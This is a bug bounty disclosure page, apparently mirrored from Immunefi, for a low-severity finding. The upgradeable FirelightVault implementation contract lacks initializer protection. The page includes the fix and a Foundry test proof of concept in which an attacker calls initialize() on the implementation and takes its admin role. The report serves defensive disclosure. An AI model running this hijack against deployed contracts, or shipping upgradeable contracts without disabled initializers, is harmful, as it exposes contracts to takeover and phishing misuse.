Implementation contract lacks initializer protection
The upgradeable FirelightVault implementation contract lacks a constructor that disables initializers, so anyone can call initialize() on the implementation address and become its admin. This does not affect the proxy's funds or upgrade mechanism, but leaves the implementation open to phishing or misleading off-chain tooling.
Originally disclosed on Immunefi
- Disclosed after under an hour
59236 sc low implementation contract lacks initializer protection
Submitted on Nov 10th 2025 at 08:36:23 UTC by @emilesean_es for Audit Comp | Firelight
- Report ID: #59236
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/firelight-protocol/firelight-core/blob/main/contracts/FirelightVault.sol
- Impacts:
Description
-
Title: Implementation Contract Lacks Initializer Protection
-
Description: The
FirelightVaultimplementation contract is upgradeable but lacks a constructor that calls_disableInitializers(). This allows any external actor to call the publicinitialize()function on the deployed implementation contract's address, granting themselves administrative control over the implementation contract's internal state. While this does not allow the attacker to control or affect the proxy contract's state, funds, or upgrade mechanism due to the separation of storage, it violates a fundamental security principle of the proxy pattern. This leaves the implementation contract in a state where it could be used for phishing or to mislead off-chain tooling, and it goes against established security best practices for upgradeable contracts. -
Severity: Insight: Security Best Practices
-
Location: FirelightVault.sol#L22
-
Count: 1
-
Remediation: Add a constructor to the
FirelightVaultcontract to disable the initializer. This ensures the implementation contract can never be initialized, securing it as intended. The/// @custom:oz-upgrades-unsafe-allow constructorpragma should be included for compatibility with standard upgrade tooling.Solidity /// @custom:oz-upgrades-unsafe-allow constructor constructor() { _disableInitializers(); }
Link to Proof of Concept
https://gist.github.com/emilesean/45338f06e15757a5d2cf92acb16b8b36
Proof of Concept
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import {Test} from "forge-std/Test.sol";
import {FirelightVault} from "contracts/FirelightVault.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
contract MyToken is ERC20, Ownable, ERC20Permit {
constructor(address initialOwner) ERC20("MyToken", "MTK") Ownable(initialOwner) ERC20Permit("MyToken") {}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
contract FirelightVaultTest is Test {
// EIP-1967 storage slot for implementation address
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
TransparentUpgradeableProxy internal transparentUpgradeableProxy;
FirelightVault internal vaultProxy;
MyToken internal asset;
function setUp() public {
// Deploy and set up the vault proxy correctly
FirelightVault implementation = new FirelightVault();
asset = new MyToken(address(this));
bytes memory initParams = abi.encode(
FirelightVault.InitParams({
defaultAdmin: address(this),
limitUpdater: address(this),
blocklister: address(this),
pauser: address(this),
periodConfigurationUpdater: address(this),
depositLimit: 1 ether,
periodConfigurationDuration: 4 weeks
})
);
transparentUpgradeableProxy = new TransparentUpgradeableProxy(
address(implementation),
address(this),
abi.encodeWithSignature("initialize(address,string,string,bytes)", asset, "MyToken_Vault", "MTKV", initParams)
);
vaultProxy = FirelightVault(address(transparentUpgradeableProxy));
}
function test_VULNERABILITY_ImplementationCanBeHijacked() public {
// 1. Attacker discovers the implementation address from the proxy's storage
bytes32 implSlotValue = vm.load(address(transparentUpgradeableProxy), IMPLEMENTATION_SLOT);
address implAddress = address(uint160(uint256(implSlotValue)));
FirelightVault implementationContract = FirelightVault(implAddress);
// 2. Attacker initializes the implementation contract, making themself the admin
address attacker = makeAddr("attacker");
bytes memory maliciousInitParams = abi.encode(
FirelightVault.InitParams({
defaultAdmin: attacker,
limitUpdater: attacker,
blocklister: attacker,
pauser: attacker,
periodConfigurationUpdater: attacker,
depositLimit: 1 ether,
periodConfigurationDuration: 4 weeks
})
);
implementationContract.initialize(asset, "Malicious", "HACK", maliciousInitParams);
// 3. Assert the attacker is the admin of the implementation, but not the proxy
assertTrue(
implementationContract.hasRole(implementationContract.DEFAULT_ADMIN_ROLE(), attacker),
"Attacker hijacked implementation"
);
assertFalse(
vaultProxy.hasRole(vaultProxy.DEFAULT_ADMIN_ROLE(), attacker),
"Attacker did not affect proxy"
);
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The implementation contract has no constructor calling _disableInitializers(), so its public initialize() function remains callable by anyone.
Impact
The attacker gains admin control over the implementation contract only; the proxy's state, funds and upgrade mechanism are unaffected, but the implementation could be used for phishing or to mislead off-chain tooling.
What the attacker needed
None
The fix
Add a constructor to the implementation contract that calls _disableInitializers(), with the OpenZeppelin unsafe-allow constructor annotation for upgrade tooling.
How it was found
- Read the implementation address from the proxy's storage slot.
- Call initialize() on the implementation contract with attacker-controlled admin parameters.
- Confirm the attacker holds the admin role on the implementation but not on the proxy.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Upgradeable contracts often use a proxy: users talk to the proxy, which forwards calls to a separate implementation contract that holds the logic. The implementation contract should be locked so nobody can set it up directly. Here it was not locked, so an attacker could become its admin, though this did not give them control of the proxy or its money.
What is Misconfiguration?
Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.